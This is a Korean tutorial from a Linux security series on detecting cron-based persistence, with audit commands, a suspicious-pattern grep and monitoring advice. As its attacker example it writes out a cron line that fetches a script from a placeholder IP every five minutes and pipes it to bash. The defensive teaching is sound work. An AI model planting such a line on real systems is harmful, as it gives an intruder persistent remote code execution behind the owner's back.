Linux 시스템 보안 기초 · 31/50편
이 글은
리눅스 시스템 기초·파일 · 권한 · 사용자 관리·서비스 · 프로세스 관리시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다.
cron은 '정해진 시각에 명령을 반복 실행'하는 스케줄러입니다. 이 반복성이 공격자에게는 완벽한 지속성 수단이 됩니다 — 5분마다 재접속을 시도하는 악성 cron 하나면 재부팅도 무의미하죠. 이번 편은 cron 지속성 탐지를 정리합니다.
cron이 명령을 읽는 위치는 여러 곳입니다. 하나라도 놓치면 지속성을 못 잡습니다.
| 위치 | 설명 |
|---|---|
/var/spool/cron/crontabs/<user> | 사용자별 crontab |
/etc/crontab | 시스템 crontab |
/etc/cron.d/ | 패키지·개별 작업 |
/etc/cron.{hourly,daily,weekly,monthly}/ | 주기 스크립트 |
/etc/cron.d/와 사용자 crontab이 특히 악용됩니다.
공격자가 추가한 cron
*/5 * * * * curl -s http://203.0.113.10/x | bash
│ │ │
└─5분마다 ─────────────────┴─ 외부에서 명령 받아 실행
│
└ 프로세스를 죽여도 5분 뒤 재실행 → 지속성
cron 데몬(cron/crond)은 위 위치들을 주기적으로 읽어 등록된 명령을 지정 시각에 실행합니다. 공격자는 여기에 '재접속·재실행' 명령을 심어, 방어자가 악성 프로세스를 종료해도 일정 주기마다 되살아나게 합니다.
탐지의 핵심은 모든 cron 위치를 빠짐없이 훑고, 각 항목의 명령이 정상인지 보는 것입니다. 특히 다운로드-실행, 인코딩된 명령, 낯선 스크립트 경로가 신호입니다.
# 사용자별 crontab 전체 확인
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u =="; sudo crontab -l -u "$u" 2>/dev/null; done
# 시스템 cron 위치 일괄 확인
sudo cat /etc/crontab; sudo ls -la /etc/cron.d/ /etc/cron.{hourly,daily,weekly,monthly}/
# 의심 패턴 검색
sudo grep -rEi 'curl|wget|base64|/tmp/|/dev/shm|nc ' /etc/cron* /var/spool/cron 2>/dev/null
실습 컨테이너의 /etc/cron.d/ 실제 목록입니다. (실제 캡처)
$ ls -la /etc/cron.d/
-rw-r--r-- 1 root root 102 Mar 31 2024 .placeholder
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rw-r--r-- 1 root root 712 Nov 24 2025 php
e2scrub_all, php는 패키지가 설치한 정상 항목입니다. 여기에 최근 날짜의 낯선 파일이나, 위 grep에서 curl|bash 같은 줄이 나오면 악성 cron 지속성으로 판단합니다.
/tmp·/dev/shm 스크립트 실행@reboot로 부팅 시 실행cron은 위치가 많아 '전수 점검'이 생명입니다. 한 곳만 봐서는 반드시 놓칩니다.
-mtime)auditd -w /etc/cron.d ..., 44편)악성 cron은 MITRE T1053.003(Cron) 지속성 기법입니다. Wazuh FIM으로 모든 cron 경로를 감시하고, 이 시리즈 실습에서는 auditd에 cron_persist 키로 cron 디렉터리 watch를 걸어 두었습니다(41편). SIEM은 cron 변경을 SSH 로그인·권한 상승과 상관분석해 지속성 확립 시점을 특정합니다.
[ ] 사용자별 crontab 전수 확인
[ ] 시스템 cron 위치 일괄 점검
[ ] 의심 패턴 grep
[ ] cron 디렉터리 변경 감사
다음 편에서는 32. Linux 환경변수 기반 공격 를 다룹니다. 실행 경로 자체를 조작하는 환경변수 기반 공격(PATH/LD_PRELOAD)을 봅니다.
본 실습은 격리된 테스트 VM(Rocky Linux / Ubuntu, VMware) 및 테스트 계정 환경을 기준으로 하며, 운영 서버를 대상으로 하지 않습니다. 실행 결과는 실제 캡처와 예시 출력을 명확히 구분해 표기합니다.